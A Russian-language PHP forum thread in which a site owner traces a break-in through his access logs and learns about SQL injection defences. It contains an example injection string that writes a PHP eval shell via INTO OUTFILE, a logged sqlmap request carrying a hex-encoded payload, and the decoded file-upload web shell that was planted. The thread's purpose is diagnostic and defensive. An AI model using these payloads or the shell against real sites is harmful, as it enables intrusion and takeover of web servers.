[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Защита от внедрения вредоносного кода
Страницы: 1, 2
Игорь_Vasinsky
в моём варианте есть жесткое приведение к типу - строка не проскачет. это 100% вариант.

вот подготовленные выражения

$stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (?, ?)');
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// Вставляем первую запись:
$name = 'Вася';
$value = 1;
$stmt->execute();


_____________
HTML, CSS (Bootstrap), JS(JQuery, ExtJS), PHP, MySQL, MSSql, Posgres, (TSql, BI OLAP, MDX), Mongo, Git, SVN, CodeIgnater, Symfony, Yii 2, JiRA, Redmine, Bitbucket, Composer, Rabbit MQ, Amazon (SQS, S3, Transcribe), Docker
maruo
Michael
Это кусок кода, из взломанного сайта, естественно там нету подготовленных выражений голый mysql
Игорь_Vasinsky, .... спасибо но я знаю что такое подготовленные и их синтаксис... Вопрос и помощи я просил в другом
Michael
на том сайте если там в элементарном идет sql иньекция, то она там везде, и кто знает что там за обертка $this->db->query( и что это вообще за страница где из гета пользователь создается и зачем.
Взломать тебя могли по разному, получив доступ к админкому акку и его возможностям, по загрузке файлов и т.д.

_____________
There never was a struggle in the soul of a good man that was not hard
RootPM
Цитата (maruo @ 25.10.2016 - 10:08)
Вопрос и помощи я просил в другом

Ответ уже прозвучал, смотрите в логах. Можно легко загуглить где они находятся в зависимости от сервера.

_____________
Все будет офигенно. Кому-то сразу, кому-то постепенно.
killer8080
Цитата (maruo @ 25.10.2016 - 09:46)
$steamid = $_GET['id'];
getUser($steamid);
function getUser($steamid = ""){
 
            $user = $this->db->query("SELECT * FROM users WHERE steamid = '".$steamid."'");
            if($user->num_rows != 0){
                return $user->fetch_object();
            }else{
                return false;
            }
}




Вот что нужно поместить в параметр Get что бы запрос к бд не выполнился, а отработал php скрипт.

ну например что нибудь вроде
"' union select '<?php eval($_GET[0]);?>' into outfile 'shell.php'"
но для этого у юзера БД должны быть файловые привилегии и конфигурация должна это разрешать.
maruo
Начал капать логи я в принципе ожидал что это будет удар через страницу через user
но тут не совсем я понимаю

5.18.174.107 http://winitem.com - [24/Oct/2016:22:15:45 +0300] "GET /user/76561198005524253&page=1%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fhome%2Fwww%2Fwinitem.com%2Fhtdocs%2Fengine%2Ftmpuahhk.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f686f6d652f7777772f77696e6974656d2e636f6d2f6874646f63732f656e67696e652f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20%20AND%20%27sJdw%27%3D%27sJdw HTTP/1.1" 302 5 "-" "sqlmap/1.0.10.54#dev (http://sqlmap.org)" 0.143 unix:/var/run/php5-fpm.sock -
maruo
Последом был такой запрос

5.18.174.107 5.18.174.107 http://winitem.com - [24/Oct/2016:22:15:46 +0300] "GET /engine/tmpuahhk.php HTTP/1.1" 200 466 "-" "sqlmap/1.0.10.54#dev (http://sqlmap.org)" 0.168 unix:/var/run/php5-fpm.sock -


Судя по ответу 200 файл уже на месте

не совсем понимаю в какой это кодировке шифровке или это Хекс?

2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20%20AND%20%27sJdw%27%3D%27sJdw
Michael
maruo , через urldecode если перевести, то вот как к тебе щимились:

/user/76561198005524253&page=1' LIMIT 0,1 INTO OUTFILE '/home/www/winitem.com/htdocs/engine/tmpuahhk.php' LINES TERMINATED BY 0x3c3f7068700a69662028


Ничто не напоминает? Тебе же выше killer8080 привел пример.

_____________
There never was a struggle in the soul of a good man that was not hard
maruo
Michael, напоминает, что это outfile дальше файл создался

0x3c3f7068700a69662028 это хекс же?
Michael
вникать лень.
Но походу у тебя пару результатов у селекта и тут в 16 ричном формате они указали чем разбить строки результатов, и это и есть типа код

_____________
There never was a struggle in the soul of a good man that was not hard
maruo
Michael
я перевел хекс это
вот что было под
0x3c3f7068700a69662028
<?php
if (


перевел всю строку и получается

 <?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/winitem.com/htdocs/engine/> <input type=submit name=upload value=upload></form>";}?>
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.